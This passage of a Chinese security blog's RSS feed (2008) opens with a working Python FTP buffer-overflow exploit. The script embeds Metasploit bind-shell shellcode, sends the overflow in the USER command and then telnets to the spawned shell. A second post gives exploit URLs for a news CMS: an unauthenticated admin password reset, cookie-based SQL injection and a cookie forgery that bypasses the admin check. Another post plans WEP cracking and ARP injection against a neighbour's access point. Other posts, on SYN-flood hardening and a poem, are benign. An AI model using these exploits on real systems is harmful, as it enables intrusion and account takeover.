c3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ret</FONT></TD>
</TR>
</TBODY>
</TABLE>
<p ALIGN="left">又在maple-x哪里拷贝了栈平衡的一些</P>
<p ALIGN="left"></P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 98.93%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 20px" ALIGN="center">
<tbody>
<tr>
<td>
<p><font FACE="宋体">恢复栈平衡tips<br/>
add esp, xxx<br/>
pop ebp<br/>
retn xx</FONT></P>
<p><font FACE="宋体"><br/>
在栈里面找一个保存好的上层函数返回地址，当shellcode运行完后，查看esp和这个地址的距离然后把esp加过来，pop
ebp
恢复ebp，retn回去，具体要跟，看这个函数是怎么返回的。</FONT></P>
<p>
无论是覆盖返回地址，还是覆盖seh都可以这样，只要找到上层函数是在覆盖的地方后面的就可以了。</P>
<p>
当然如果像vml那个exp那样，把整个栈空间覆盖掉了，以触发异常，就不能用这个方法了。</P>
</TD>
</TR>
</TBODY>
</TABLE>
<p ALIGN="left">&nbsp;</P>
<p ALIGN="center"><strong>2008.3.30 凌晨</STRONG></P>
<p>已经快崩溃了，先不搞了，记录一下。</P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 99.16%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 20px" ALIGN="center">
<tbody>
<tr>
<td>
<p><font FACE="宋体">#!/usr/bin/python<br/>
#001B:00EDFD40&nbsp; 1245FA&nbsp;
返回地址</FONT></P>
<p><font FACE="宋体">#001B:00EDFD43&nbsp; 7FEB<br/>
#001B:00EDFD45&nbsp; FEEB<br/>
#001B:00EDFD47&nbsp; FEEB<br/>
#001B:00EDFD48&nbsp;
FEEB&nbsp;&nbsp;&nbsp;&nbsp;这个要注意，是RET
4，而不是通常的RET<br/>
#001B:00EDFD4A&nbsp; FEEB<br/>
#001B:00EDFD4C&nbsp; FEEB<br/>
#001B:00EDFD4E&nbsp; FEEB<br/>
#001B:00EDFD50&nbsp;
42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NOP<br/>

#001B:00EDFD51&nbsp; 42<br/>
#...<br/>
#dd FS:0<br/>
#003B:00EDFD94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
错误入口，EBX变成这里，将执行后4字节，就是覆盖的jmp
EBX</FONT></P>
<p>&nbsp;</P>
<p><font FACE="宋体">import os<br/>
import sys<br/>
import time<br/>
import socket</FONT></P>
<p>&nbsp;</P>
<p><font FACE="宋体"># win32_bind -&nbsp;
EXITFUNC=seh LPORT=55555 Size=344 Encoder=PexFnstenvSub <a HREF="http://metasploit.com/">http://metasploit.com</A></FONT></P>
<p><font FACE="宋体"><br/>
shellcode =
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88"<br/>

shellcode +=
"\xe7\xb9\xd7\x83\xeb\xfc\xe2\xf4\x74\x8d\x52\x9a\x60\x1e\x46\x28"<br/>

shellcode +=
"\x77\x87\x32\xbb\xac\xc3\x32\x92\xb4\x6c\xc5\xd2\xf0\xe6\x56\x5c"<br/>

shellcode +=
"\xc7\xff\x32\x88\xa8\xe6\x52\x9e\x03\xd3\x32\xd6\x66\xd6\x79\x4e"<br/>

shellcode +=
"\x24\x63\x79\xa3\x8f\x26\x73\xda\x89\x25\x52\x23\xb3\xb3\x9d\xff"<br/>

shellcode +=
"\xfd\x02\x32\x88\xac\xe6\x52\xb1\x03\xeb\xf2\x5c\xd7\xfb\xb8\x3c"<br/>

shellcode +=
"\x8b\xcb\x32\x5e\xe4\xc3\xa5\xb6\x4b\xd6\x62\xb3\x03\xa4\x89\x5c"<br/>

shellcode +=
"\xc8\xeb\x32\xa7\x94\x4a\x32\x97\x80\xb9\xd1\x59\xc6\xe9\x55\x87"<br/>

shellcode +=
"\x77\x31\xdf\x84\xee\x8f\x8a\xe5\xe0\x90\xca\xe5\xd7\xb3\x46\x07"<br/>

shellcode +=
"\xe0\x2c\x54\x2b\xb3\xb7\x46\x01\xd7\x6e\x5c\xb1\x09\x0a\xb1\xd5"<br/>

shellcode +=
"\xdd\x8d\xbb\x28\x58\x8f\x60\xde\x7d\x4a\xee\x28\x5e\xb4\xea\x84"<br/>

shellcode +=
"\xdb\xb4\xfa\x84\xcb\xb4\x46\x07\xee\x8f\x60\xd4\xee\xb4\x30\x36"<br/>

shellcode +=
"\x1d\x8f\x1d\xcd\xf8\x20\xee\x28\x5e\x8d\xa9\x86\xdd\x18\x69\xbf"<br/>

shellcode +=
"\x2c\x4a\x97\x3e\xdf\x18\x6f\x84\xdd\x18\x69\xbf\x6d\xae\x3f\x9e"<br/>

shellcode +=
"\xdf\x18\x6f\x87\xdc\xb3\xec\x28\x58\x74\xd1\x30\xf1\x21\xc0\x80"<br/>

shellcode +=
"\x77\x31\xec\x28\x58\x81\xd3\xb3\xee\x8f\xda\xba\x01\x02\xd3\x87"<br/>

shellcode +=
"\xd1\xce\x75\x5e\x6f\x8d\xfd\x5e\x6a\xd6\x79\x24\x22\x19\xfb\xfa"<br/>

shellcode +=
"\x76\xa5\x95\x44\x05\x9d\x81\x7c\x23\x4c\xd1\xa5\x76\x54\xaf\x28"<br/>

shellcode +=
"\xfd\xa3\x46\x01\xd3\xb0\xeb\x86\xd9\xb6\xd3\xd6\xd9\xb6\xec\x86"<br/>

shellcode +=
"\x77\x37\xd1\x7a\x51\xe2\x77\x84\x77\x31\xd3\x28\x77\xd0\x46\x07"<br/>

shellcode +=
"\x03\xb0\x45\x54\x4c\x83\x46\x01\xda\x18\x69\xbf\x78\x6d\xbd\x88"<br/>

shellcode += "\xdb\x18\x6f\x28\x58\xe7\xb9\xd7"</FONT></P>
<p>&nbsp;</P>
<p><font FACE="宋体">def ConnectShell(target):<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
connect = "telnet " + target + " 55555"<br/>
#Linux&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
connect = "/usr/bin/telnet " + target + " 55555"<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
os.system(connect)</FONT></P>
<p>&nbsp;</P>
<p><font FACE="宋体">def Exploit(target):<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sockAddr = (target, 21)<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
tsock.connect(sockAddr)<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
response = tsock.recv(1024)</FONT></P>
<p><font FACE="宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
payload = "USER "<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
payload += "\x90" * 485<br/>
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
payload += "\x90" * 539 + "\xeb\x02\x90\x90" + "\x71\x15\xfa\x7f"
#覆盖异常点，jmp ebx 到前四个字节 nop
nop&nbsp;jmp
04&nbsp;在往后跳4个字节到shellcode，不过有问题<br/>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
payload +=
"\x12\x45\xfa\x7f"+"\xeb\xfe"*6&nbsp;#0x7ffa4512 jmp
esp,JMP -1,debug<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
payload += "\x42" *
4&nbsp;&nbsp;&nbsp;#ret
04<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
payload += shellcode<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
payload += "\r\n"&nbsp;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
tsock.send(payload)&nbsp;&nbsp;&nbsp;#send
buffer</FONT></P>
<p>&nbsp;</P>
<p><font FACE="宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if
__name__ == '__main__':<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
try:<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
target = sys.argv[1]<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
except IndexError:<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print '?FTP Remote Buffer Overflow Exploit ver.2'<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print 'by g33k'<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print 'Usage: %s ' % sys.argv[0]<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sys.exit(-1)</FONT></P>
<p>&nbsp;</P>
<p><font FACE="宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print '[+]Send buffer data...'<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Exploit(target)<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
time.sleep(2)<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print '[+]Wait Connect the shell...Good Luck :)'<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
time.sleep(2)<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ConnectShell(target)</FONT></P>
<p>&nbsp;</P>
<p><font FACE="宋体"># Http://blog.sina.com.cn/g33k</FONT></P>
</TD>
</TR>
</TBODY>
</TABLE>]]></description>
            <author>Sneak</author>
            <category>网络安全相关</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01009hzx.html#comment</comments>
            <pubDate>Sat, 29 Mar 2008 20:04:50 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01009hzx.html</guid>
        </item>
        <item>
            <title>过滤不等于安全</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01008zfa.html</link>
            <description><![CDATA[<div>
&nbsp;好久没读代码了,而且是N久没碰的asp.迅时新闻发布系统,在网上就能找到个注入漏洞的文章,还是cookies注入,试了下,我的目标已经不存在这个漏洞,下了一套最新的3.2版本.忽然发现<font FACE="宋体">eWebEditor,</FONT>可惜目标站的<font FACE="宋体">被管理员废掉了,利用不了了.</FONT></DIV>
<div>
&nbsp;因为我已经有了一个可以发表文章的账户(id密码相同),但是权限非常低,可以玩玩XSS,能cookies欺骗,但是我不喜欢等待,还有搭积木一样的注入,所以直接找提权漏洞咯.在admin_admin_editpass.asp中有点问题,倒着看(我的习惯),85行:</DIV>
<div>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 96.23%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 130px" ALIGN="center">
<tbody>
<tr>
<td>
<p ALIGN="left"><font FACE="宋体">&lt;form method="POST"
action="admin_admin_editpass_save.asp?id=&lt;%=id%&gt;"
name="FrontPage_Form1"&gt;&nbsp;
//根据这个id修改密码<br/>
...很CGX的省略号...<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&lt;p
align="left"&gt;&lt;font
face="Wingdings"&gt;1&lt;/font&gt;&lt;b&gt;修改&lt;%=username%&gt;密码</FONT></P>
<p ALIGN="left"><font FACE="宋体">...依然CGX...<br/>
&nbsp;&nbsp;&nbsp; &lt;input
type="text" name="username" size="42" value="&lt;%=username%&gt;"
maxlength="20"&gt;&lt;/td&gt;</FONT></P>
</TD>
</TR>
</TBODY>
</TABLE>
</DIV>
<p>id,username的作用与实现基本了解了,证实一下,22行:</P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 95.84%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 151px" ALIGN="center">
<tbody>
<tr>
<td>
<p><font FACE="宋体">id=trim(request("id"))
//这段是根据id(木过滤)得到修改的username云云<br/>
if id&lt;&gt;"" then<br/>
sql = "select * from admin where id="&amp;id<br/>
Set rs = Server.CreateObject("ADODB.RecordSet")<br/>
rs.Open sql,conn,1,1<br/>
if rs.recordcount&lt;&gt;0 then<br/>
&nbsp; username=rs("user")<br/>
end if</FONT></P>
</TD>
</TR>
</TBODY>
</TABLE>
<p>在来看下保存密码的文件,admin_admin_editpass_save.asp,25行:</P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 95.45%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 224px" ALIGN="center">
<tbody>
<tr>
<td>
<p><font FACE="宋体">id=trim(request("id"))&nbsp;
//id也没过滤<br/>
username=trim(request("username"))<br/>
password=md5(trim(request("password")))</FONT></P>
<p><font FACE="宋体">if id&lt;&gt;"" then&nbsp;
//漏洞出现咯<br/>
sql = "select * from admin where id="&amp;id<br/>
Set rs = Server.CreateObject("ADODB.RecordSet")<br/>
rs.Open sql,conn,1,2<br/>
if rs.recordcount&lt;&gt;0 then<br/>
&nbsp;&nbsp;
rs("user")=username&nbsp; //MD,这也能改<br/>
&nbsp;&nbsp; rs("pass")=password<br/>
&nbsp;&nbsp; rs.update&nbsp;
//cool,直接update了<br/>
end if</FONT></P>
</TD>
</TR>
</TBODY>
</TABLE>
<p>
敏感的人一下就会看出,id没过滤,没错,是没过滤,但是我要告诉你,这个漏洞另有乾坤,就算他过滤了,也照黑无误!</P>
<p>&nbsp;</P>
<p>
首先程序通过这个id得到对应的username,而id是和你登录信息有关的,这些不重要,重要的是他是依靠id直接update密码的,只要指定了id,有个账户就可以更改任意用户的密码.<font COLOR="#FF0000">E</FONT><font COLOR="#FF0000">xploit:http://www.xxx.com/</FONT><font FACE="宋体"><font COLOR="#FF0000">admin_admin_editpass_save.asp?id=1&amp;username=admin&amp;password=admin888</FONT>,admin密码就改成admin888了,拿</FONT>shell很简单,还是数据库.</P>
<p>&nbsp;</P>
<p><font FACE="宋体">关于这个id的注入,也很简单,不过也需要一个账户可以访问这个文件,发现迅时有放注入的过滤处理,引用了一个文件<font FACE="宋体">&lt;!--#include
file = admin_conn.asp
--&gt;,逐步跟踪这个文件,发现详细的过滤是这样的:</FONT></FONT></P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 96.23%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 80px" ALIGN="center">
<tbody>
<tr>
<td><font FACE="宋体">sss=LCase(request.servervariables("QUERY_STRING"))<br/>
&nbsp;&nbsp; if
instr(sss,"select")&lt;&gt;0 or instr(sss,"inster")&lt;&gt;0 or
instr(sss,"delete")&lt;&gt;0 or instr(sss,"(")&lt;&gt;0 or
instr(sss,"'or")&lt;&gt;0 then<br/>
&nbsp;&nbsp;&nbsp;&nbsp;
response.write
"&lt;BR&gt;&lt;BR&gt;&lt;center&gt;你的网址不合法"<br/>
&nbsp;&nbsp;&nbsp;&nbsp;
response.end<br/>
&nbsp;&nbsp; end if</FONT></TD>
</TR>
</TBODY>
</TABLE>
<p>
很简单的过滤,拿下了几个SQL关键字和括号,却给普通注入造成了极大的麻烦,不过既然是request.servervariables("QUERY_STRING"),那cookies注入还是有杀伤力的,本地写个中转站,然后<font COLOR="#FF0000">exploit:</FONT><font FACE="宋体"><font COLOR="#FF0000">http://127.0.0.1/cookie.php?id=1%20and%20(select%20asc(mid(user,1,1))%20from%20[admin]%20where%20id=1)=97</FONT>,依次猜解,不过和上面的提权漏洞相比没什么价值,除非你不想让管理员发现.</FONT></P>
<p>&nbsp;</P>
<p>
本已经达到目的,但是在看几处代码让我大跌眼睛(因为我没眼镜),后台文件对身份验证居然是这样的,太2了吧,如果添加管理员也是这样的话...没看的必要了.</P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 95.84%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 58px" ALIGN="center">
<tbody>
<tr>
<td><font FACE="宋体">if Request.Cookies("admindj")&lt;&gt;"1"
then&nbsp; //玩鹰呢<br/>
&nbsp;&nbsp; Response.Write
"&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;center&gt;权限不足，你没有此功能的管理权限"<br/>

&nbsp;&nbsp; Response.end<br/>
end if</FONT></TD>
</TR>
</TBODY>
</TABLE>
<p>修改cookies中的admindj的参数为1,那么就...Admin,welcome to
back:)</P>
<p>&nbsp;</P>
<p>
前台也好不到哪去,好烂的代码,随随便便即可从无到有.因为好久没读代码了,所以YY一下,希望程序员能了解,过滤不等于安全,逻辑也很重要.</P>
]]></description>
            <author>Sneak</author>
            <category>网络安全相关</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01008zfa.html#comment</comments>
            <pubDate>Fri, 22 Feb 2008 06:53:15 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01008zfa.html</guid>
        </item>
        <item>
            <title>我对4.0的看法</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01008ry9.html</link>
            <description><![CDATA[<div>来源: <a HREF="http://blog.sina.com.cn/s/blog_4c163bcd01007pbq.html" TARGET="_blank"><font FACE="宋体">http://blog.sina.com.cn/s/blog_4c163bcd01007pbq.html</FONT></A></DIV>
<div>在网上看到对Sina Blog
v4.0愤愤不平的文章,拿来解释一下,厄,这篇文文不是为了谁对与谁错,就是说出我的想法而已,下面是转的一部分.</DIV>
<div>&nbsp;</DIV>
<div>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 98.16%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 92px" ALIGN="center">
<tbody>
<tr>
<td><font FACE="宋体">而所谓的安全隐患，简直就是自欺欺人。稍微懂点网页知识的人都知道，css代码只能改变博客样式。不能够使用弹出恶意网页窗口的功能，至于使用iframe框架的方法嵌入恶意网页，其实在大家发表文章时就可以嵌入了，干嘛一定要屏蔽首页模板CSS代码呢？如果你真的想屏蔽这些代码，除非连文章页面也不让使用这些代码了。言论自由，这在互联网上已是不争的事实。仅仅依靠禁用CSS代码就想达到解决网页安全的目标，这，好像有点天真吧？且，这好像不太现实吧？<a HREF="http://blog.sina.com.cn/s/blog_4c163bcd01007pbq.html"></A></FONT></TD>
</TR>
</TBODY>
</TABLE>
</DIV>
<p>&nbsp;</P>
<p>
我来解释一下,首先来说一个跨站师经常用到CSS样式的一个的属性(expression),他是干嘛的,又是如何执行JS进行XSS攻击的,这里我不说了,稍微懂点网页知识的人都知道,css还能如何攻击我也不说了,稍微懂点网页知识的人也都知道...</P>
<p>
其次,关于iframe标签,以前的确是,可以直接嵌套框架攻击,现在呢?您可以试试,sina是一直在完善的,最新的4.0也一样的.</P>
<p>
最后,目前没有那个博客可以说彻底的杜绝了XSS攻击,都是在一步步的完善,请看好,都是"一步步的完善",刚刚做了改动,不代表在过一阵子还是这样.</P>
<p>&nbsp;</P>
<p>
我曾经也是sina自定义模板的爱好者,但是我更是知道那里面有多少安全隐患,安全与服务实现,永远是一对冤家,但是sina绝对会把用户的安全放在第一位!</P>
]]></description>
            <author>Sneak</author>
            <category>我的乱糟生活</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01008ry9.html#comment</comments>
            <pubDate>Mon, 28 Jan 2008 03:34:55 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01008ry9.html</guid>
        </item>
        <item>
            <title>入手了一台linksys wusb54g v4</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01000ccw.html</link>
            <description><![CDATA[<div><a HREF="http://album.sina.com.cn/pic/4c9ddabd4400c1635a7ae" TARGET="_blank"></A>&nbsp;拖了很久了,终于弄到了,比较搞笑,在淘宝淘了半天,居然淘到鼎好电子城...</DIV>
<div>
wusb54g在windows下很腼腆,还是要linux才会发挥出优势,来张Blacktrace2下的测试图</DIV>
<a HREF="http://album.sina.com.cn/pic/4c9ddabd4400c1635a7ae" TARGET="_blank"><img SRC="http://album.sina.com.cn/pic_3/4c9ddabd4400c1635a7ae" WIDTH="500" BORDER="0"></IMG></A>
<div>GUI是Airsnort,类似win32的<font FACE="宋体">Network
Stumbler,获取AP的mac,ssid,频道,加密方式等.</FONT>右边的是Airodump,抓包工具.左边的就是大名鼎鼎的Aircrack了,在与Airodump进行同步暴力破解(64位),可惜AP是个冷AP,才3000左右Ivs,破密码的话需要30W啊!!这是公司,不敢乱搞,晚上回家拿楼下的AP试试ARP注入,效率会大大提升:)</DIV>
<div>&nbsp;</DIV>
<div>PS:抓包的时候~#Airmon start&nbsp;name
channel,这样指定一下频道准确率会很高.</DIV>
]]></description>
            <author>Sneak</author>
            <category>网络安全相关</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01000ccw.html#comment</comments>
            <pubDate>Thu, 29 Nov 2007 07:03:52 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01000ccw.html</guid>
        </item>
        <item>
            <title>无题</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01000bac.html</link>
            <description><![CDATA[<DIV>&nbsp;昨天遇到个linux被syn
flood的情况，源IP地址都为随机，连接状态都为<FONT FACE="宋体">SYN_RECV(如果windows就是<FONT FACE="宋体">SYN_RECEIVED</FONT>)很明显的攻击，在想处理办法的时候才发现自己对linux的安全淡忘了很多，现在满脑袋几乎都是脚本安全测试的东西了，郁闷...最近打算补习一下linux还有solairs,BSD等。</FONT>&nbsp;</DIV>
<DIV>Linux syn flood防御:</DIV>
<P><FONT FACE="宋体"># echo 1 &gt;
/proc/sys/net/ipv4/tcp_syncookies&nbsp;&nbsp;&nbsp;&nbsp;
启动syncookies验证syn连接真实性</FONT></P>
<P><FONT FACE="宋体"># sysctl -w
net.ipv4.tcp_max_syn_backlog=`2048`<br/>
# echo 2048 &gt;
/proc/sys/net/ipv4/tcp_max_syn_backlog&nbsp;&nbsp;&nbsp;
增加最大半连接数</FONT></P>
<P><FONT FACE="宋体"># echo 1 &gt;
/proc/sys/net/ipv4/tcp_synack_retries<br/>
# echo 1 &gt;
/proc/sys/net/ipv4/tcp_syn_retries&nbsp;&nbsp;&nbsp;
降低超时时间(默认值是5，对应于3分钟)</FONT></P>
<DIV>OK...</DIV>
<DIV># reboot&nbsp;</DIV>
<DIV>Windows就不说了，一些键值，另外还有就是硬件的<FONT FACE="宋体">过滤网关防护，主要的技术是</FONT><FONT FACE="宋体">网关超时,<FONT FACE="宋体">SYN网关,SYN代理等。</FONT></FONT></DIV>
]]></description>
            <author>Sneak</author>
            <category>网络安全相关</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01000bac.html#comment</comments>
            <pubDate>Thu, 13 Sep 2007 10:18:33 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01000bac.html</guid>
        </item>
        <item>
            <title>文人啊``</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01000960.html</link>
            <description><![CDATA[<DIV>&nbsp;落落:走着走着就老了.<IMG SRC="http://blog.sina.com.cn/images/face/021.gif"></DIV>
<DIV>&nbsp;狗狗:老了老了还要走...<IMG SRC="http://blog.sina.com.cn/images/face/007.gif"></DIV>
]]></description>
            <author>Sneak</author>
            <category>被风吹走的天空</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01000960.html#comment</comments>
            <pubDate>Sat, 19 May 2007 01:18:09 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01000960.html</guid>
        </item>
    </channel>
</rss>
